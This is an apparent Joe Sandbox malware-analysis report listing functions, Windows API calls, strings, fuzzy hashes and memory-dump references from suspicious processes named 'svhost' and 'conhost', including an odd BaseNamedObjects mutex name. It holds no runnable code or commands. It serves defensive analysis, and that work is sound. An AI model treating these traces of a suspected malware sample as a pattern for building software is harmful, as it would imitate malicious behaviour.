Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: &$;*
API String ID: 3825114775-510990765
Opcode ID: bb6b8f63c8978df2cb712fb4502542c6b0eedd4902725eabed431cc5bfcc8d57
Instruction ID: 8bfa62c73bfa73297bcfce99685b9611f9a5739786d42d79d436a77536cbc63b
Opcode Fuzzy Hash: bb6b8f63c8978df2cb712fb4502542c6b0eedd4902725eabed431cc5bfcc8d57
Instruction Fuzzy Hash: 75415F70A0CA8285F780BB25E554379AB98AF84781FC04033C98E737A2DE3DF5609722

Function 00007FF7E32F3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7E32F33B2
memset.MSVCRT ref: 00007FF7E32F3445
wcscpy.MSVCRT ref: 00007FF7E32F349D
wcscat.MSVCRT ref: 00007FF7E32F34A8
wcslen.MSVCRT ref: 00007FF7E32F34B9
memset.MSVCRT ref: 00007FF7E32F35D4
wcscpy.MSVCRT ref: 00007FF7E32F3635
wcscat.MSVCRT ref: 00007FF7E32F3640
wcslen.MSVCRT ref: 00007FF7E32F3654

Strings

, xrefs: 00007FF7E32F36DD
@, xrefs: 00007FF7E32F34F1
0, xrefs: 00007FF7E32F34E6
@, xrefs: 00007FF7E32F3698
0, xrefs: 00007FF7E32F368D

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 62e16f804d0a78f42930f5485aab4d55bda2c88156d1efd01dd84db9e24e5fef
Instruction ID: e0771d967304a93fc64aa22263104909a7d4dbea621e256de38836415ff72dfe
Opcode Fuzzy Hash: 62e16f804d0a78f42930f5485aab4d55bda2c88156d1efd01dd84db9e24e5fef
Instruction Fuzzy Hash: E7B1A22190CAC585F3A1AB24E4053BBFBA4FF84344F804236EAC876695DF7DD255CB52

Function 00007FF7E32F2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7E32F2795
memset.MSVCRT ref: 00007FF7E32F2865
wcscpy.MSVCRT ref: 00007FF7E32F28CE
wcscat.MSVCRT ref: 00007FF7E32F28D9
wcslen.MSVCRT ref: 00007FF7E32F28E1
wcslen.MSVCRT ref: 00007FF7E32F28F6
wcslen.MSVCRT ref: 00007FF7E32F296D
wcslen.MSVCRT ref: 00007FF7E32F29E8

Strings

X, xrefs: 00007FF7E32F2B79
0, xrefs: 00007FF7E32F279A
`, xrefs: 00007FF7E32F2B91

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 7bd2d40a281e62959ce0fd44c16303bd5a4e704b549ab88744f3f2b4b0171fba
Instruction ID: 64cae47ca855179abc3a388dc40198ae8c98b584a840b2b482fd17f28a61f3f0
Opcode Fuzzy Hash: 7bd2d40a281e62959ce0fd44c16303bd5a4e704b549ab88744f3f2b4b0171fba
Instruction Fuzzy Hash: CF02C42290CBC581E7A0DB25E8043AABBA4FB85794F804236DAEC677E5DF7CD194C711

Function 00007FF7E32F1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7E32FD3B0,00007FF7E32FD3B0,?,?,00007FF7E32F0000,?,00007FF7E32F1991), ref: 00007FF7E32F1C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7E32FD3B0,00007FF7E32FD3B0,?,?,00007FF7E32F0000,?,00007FF7E32F1991), ref: 00007FF7E32F1CC7
memcpy.MSVCRT ref: 00007FF7E32F1CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7E32FD3B0,00007FF7E32FD3B0,?,?,00007FF7E32F0000,?,00007FF7E32F1991), ref: 00007FF7E32F1D23

Strings

Address %p has no image-section, xrefs: 00007FF7E32F1CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF7E32F1D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7E32F1D17

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: f71d7c17d8efb8792bd36a77065ce856a453be169e7440349e6f230ab35daf72
Instruction ID: 3595dc8c5a4dbbe49abc49097bff13afc38d97bbf1da98e2e66df8d95229126b
Opcode Fuzzy Hash: f71d7c17d8efb8792bd36a77065ce856a453be169e7440349e6f230ab35daf72
Instruction Fuzzy Hash: 0F41B361A0964781EA90AB12D4457B8AFA8EF44B84FD44033CE4E777A1DE3CF551D322

Function 00007FF7E32F2104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E32F2118
TlsGetValue.KERNEL32 ref: 00007FF7E32F214F
GetLastError.KERNEL32 ref: 00007FF7E32F2154
LeaveCriticalSection.KERNEL32 ref: 00007FF7E32F2212
free.MSVCRT ref: 00007FF7E32F2234
DeleteCriticalSection.KERNEL32 ref: 00007FF7E32F225D

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 30ded24aebec5e3133582754e9744752ca6952f0633bd4de7137b6fa68abc3ee
Instruction ID: aa3b938e02d3fe517b3520ca93dda0c0d15a2eeb0e0afd894a4ad4ddf37945b0
Opcode Fuzzy Hash: 30ded24aebec5e3133582754e9744752ca6952f0633bd4de7137b6fa68abc3ee
Instruction Fuzzy Hash: 65216F24E0A60682FAD5BB11E904379AB68BF01B91FC10033C95D777A4DF3CF9618362

Function 00007FF7E32F1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7E32F1E27

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: aac3cff987aa207af6683fbdf05d97adeeaddfa67e5404ea55e0566f274569b7
Instruction ID: 3efb2b8db6d357f5e09677086ec0bddc0a6c5ebc5729b14eceb606d3b60c281d
Opcode Fuzzy Hash: aac3cff987aa207af6683fbdf05d97adeeaddfa67e5404ea55e0566f274569b7
Instruction Fuzzy Hash: 5421E521F0C20642FBF57214954037999899F84764FE48233DD8D733D6DE3CB8A1A663

Function 00007FF7E32F38E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7E32F38F8
wcslen.MSVCRT ref: 00007FF7E32F396E

Strings

0, xrefs: 00007FF7E32F3922
@, xrefs: 00007FF7E32F392A

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: ef7ed66185c074b667720f16183e97d9ab3fb1e6636ca8cac5f9c7ec846e676b
Instruction ID: 28ac384d9e0869040b64a7dd27d2a5887a51cf82d1e4390c98dc984d98402b52
Opcode Fuzzy Hash: ef7ed66185c074b667720f16183e97d9ab3fb1e6636ca8cac5f9c7ec846e676b
Instruction Fuzzy Hash: B4119D22528A8082E351DB14F44579AA778FFD8394F904125F6CC93B68EF3DD156CB01

Function 00007FF7E32F1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E32F1247), ref: 00007FF7E32F19F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF7E32F1B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7E32F1B8B

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 6188dcfb9ba409927f7d43b305952e2ca18d87eecd447261aab3e5aaa2c983f9
Instruction ID: 26431571d9e6c19185afc1550a4ec2c4005691c9ad7b89fe9c6e866e65fa0360
Opcode Fuzzy Hash: 6188dcfb9ba409927f7d43b305952e2ca18d87eecd447261aab3e5aaa2c983f9
Instruction Fuzzy Hash: 18518321F08546C6EB90AB21D840778AB65AB04B94FC48133D99D37794CF3DF5A1D722

Function 00007FF7E32F1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF7E32F185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7E32F184D
Unknown error, xrefs: 00007FF7E32F1824

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: d196cce22733da6664e8edb65b95f02763a682be6f02ab55e526d30871c6c29c
Instruction ID: 0d8f070fb669a79b369215aef7c1cc2bb8aeeca19a9540b7ecbcad179fd24f75
Opcode Fuzzy Hash: d196cce22733da6664e8edb65b95f02763a682be6f02ab55e526d30871c6c29c
Instruction Fuzzy Hash: B3F0C811E18A8582E251BB24A9412BAE764EB597C1FC09232DECE73651DF3CF151C311

Function 00007FF7E32F219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E32F21B2
TlsGetValue.KERNEL32 ref: 00007FF7E32F21EB
GetLastError.KERNEL32 ref: 00007FF7E32F21F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7E32F226C

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 0d3f40a56fc230f51008cd68afb882d42e2fa9fd450aedc21c851e2dc6c825f8
Instruction ID: 1d5e1ef474f54ef533540d3dd201a8f07ea86b787b7a8906ea8b52baf44f7036
Opcode Fuzzy Hash: 0d3f40a56fc230f51008cd68afb882d42e2fa9fd450aedc21c851e2dc6c825f8
Instruction Fuzzy Hash: 5E012125A09A0682F685BB11ED04379DA64BF05F91FC50033CA5D777A4DF3CF9618222

Analysis Process: conhost.exePID: 5896, Parent PID: 1576COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	860
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtPlugPlayControl.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: ControlPlayPlug
String ID:
API String ID: 481578142-0
Opcode ID: d97a18cbf843856e81387b8c8340dc9f3be9b88f7afb7d8bd8691dbd3188d6e4
Instruction ID: c0201615fb3c5339c68770815eb7f3da7c935e7eca38d8337486676928192f30
Opcode Fuzzy Hash: d97a18cbf843856e81387b8c8340dc9f3be9b88f7afb7d8bd8691dbd3188d6e4
Instruction Fuzzy Hash: 29F09DB2608B40C6EAA2DB52F85579A77A0F38D7D4F009919BBC843735DB38C1A48F44

Non-executed Functions

Function 00000001400026E0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002720
wcsncmp.MSVCRT ref: 00000001400028F4
memset.MSVCRT ref: 00000001400029BC
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

X, xrefs: 0000000140002C93
0, xrefs: 00000001400028F9
`, xrefs: 0000000140002CAB
\BaseNamedObjects\ojmcbfrswiuvrxcxaekmxnen, xrefs: 00000001400026E9

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\ojmcbfrswiuvrxcxaekmxnen$`
API String ID: 780471329-1588479602
Opcode ID: 8a22a1da9c51625649be36b9debd828fc691dfe2a5c1e23ab98296de14dac146
Instruction ID: 6bba8aa20afe6034e5db5a0fddf623d34e700f3f7fdd9c0d08fe15b63ce627f7
Opcode Fuzzy Hash: 8a22a1da9c51625649be36b9debd828fc691dfe2a5c1e23ab98296de14dac146
Instruction Fuzzy Hash: D81236B2608BC086E762DB16F8443EA77A4F789794F404215EBE957BB5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 9ef8a84ff62fc8080a208a117a9968907c12ab36c06ad82fa9b6208203aea5f1
Instruction ID: 30de971cd36702d147e9a687a6551761c6e16fdd3e731554fde7caf8b7e47907
Opcode Fuzzy Hash: 9ef8a84ff62fc8080a208a117a9968907c12ab36c06ad82fa9b6208203aea5f1
Instruction Fuzzy Hash: 855107B1611A4485FA66EF27F9543EA27A1B78D7C0F449025FF8D877B2DE38C5958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140006C10,0000000140006C10,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140006C10,0000000140006C10,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140006C10,0000000140006C10,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 094bdae0b17e80658d8c188e2262ef7b1f16cf2132fe40d87895d5e108269ff3
Instruction ID: 240c236c852051f81e990fb491e53041d7c2660f74aafb1d04c17bd7f98d0633
Opcode Fuzzy Hash: 094bdae0b17e80658d8c188e2262ef7b1f16cf2132fe40d87895d5e108269ff3
Instruction Fuzzy Hash: 9B4124B1200A4582FA66DF57F884BE927A1F78DBC4F554126AF0E877B1DA38C58AC700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: a18f4165d0410a90581175361762af6a0a36e3a04d3aaffd59d482b3ba306e50
Instruction ID: 2b853467ab7d4d098088ebecf48d6c2f8c3e318a46ea857c988f04f4070b7435
Opcode Fuzzy Hash: a18f4165d0410a90581175361762af6a0a36e3a04d3aaffd59d482b3ba306e50
Instruction Fuzzy Hash: EC21F5B1205A1192FA2BDB53FD543E823A5BB2DBD0F444021FF5A57AB4DB78C9868700

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: bf3afcba1fae3b1d4280eb138e146465b8fbfc907039b8d80c3aec288ead6300
Instruction ID: 31a3df70ab0bd5562d929675b7d5370fa4ddfd7c9e18d6edc0b2086831c455e4
Opcode Fuzzy Hash: bf3afcba1fae3b1d4280eb138e146465b8fbfc907039b8d80c3aec288ead6300
Instruction Fuzzy Hash: ED2189B1A0014542FA7BDA2BF5843FA1182ABCD7E4F248135BF1A433F5DE3888828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 0000003A.00000002.3902415484.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003A.00000002.3902381941.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902452870.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902485591.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003A.00000002.3902509699.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_140000000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
